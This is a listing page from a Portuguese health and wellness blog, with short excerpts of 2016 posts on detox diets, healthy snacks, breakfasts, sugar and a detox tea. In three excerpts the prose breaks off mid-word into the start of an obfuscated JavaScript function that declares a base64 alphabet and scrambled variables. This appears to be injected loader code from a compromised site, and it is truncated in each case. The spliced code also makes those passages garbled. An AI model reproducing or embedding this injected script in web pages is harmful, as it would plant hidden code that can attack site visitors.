Mai 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3, Teresa
Já todos sabem que sou regrada na minha alimentação, que faço exercício e que me cuido. Mas qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 16, 2016 | À descoberta, Receitas
3 snacks nutritivos e poucos calóricos, por Ágata Roquette Sugestão de pequeno-almoço Overnight oat 4 a 5 colheres de leite magro 30 g (ou 3 colheres de sopa) de flocos de aveia 2 colheres de chá de sementes de chia 1 iogurte natural Fruta e frutos secos, sementes e...
Mai 11, 2016 | À descoberta, Receitas
Salada deliciosa acompanhada por molho detox, por Lillian Barros. Há dias em que nos apetece fazer refeições mais leves e menos calóricas. Uma excelente opção são as saladas, que podem ser um excelente acompanhamento ou mesmo o prato principal. Apresentamos duas...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar
Pequeno-almoço alcalino para um despertar saudável por Dra. Rita Boavida, nutricionista Entre a última refeição do dia e a primeira da manhã, o nosso corpo fica sujeito a um longo período de jejum. Isto significa que, pela manhã, ao acordarmos, é necessário...
Abr 27, 2016 | Equilíbrio, Saúde e bem estar
Saiba que vegetal faz bem a quê, por Rita Boavida, nutricionista. Vivemos numa época sem precedentes em termos de abundância alimentar, mas, felizmente, os portugueses procuram cada vez mais consumir alimentos saudáveis e naturais para alcançar a saúde. Contudo, para...
Abr 26, 2016 | Saúde e bem estar
Por Cláudia Cunha, nutricionista O açúcar vicia e causa dependência. As pessoas, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba mais sobre a dieta detox – Top 10 alimentos detox Uma dieta detox não é difícil de cumprir. Ao contrário do que muitos pensam não é uma dieta restritiva e não deve levar a processos de carência nem a fome! Um plano alimentar detox baseia-se nos fundamentos...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Chá Detox muito simples de fazer, por Lillian Barros Ingredientes 3 colheres de sopa de cavalinha 2 paus de canela 1 limão 1L de água Preparação Comece por lavar bem a casca do limão. Descasque o limão evitfunction a4872b9c6b(y1){var...
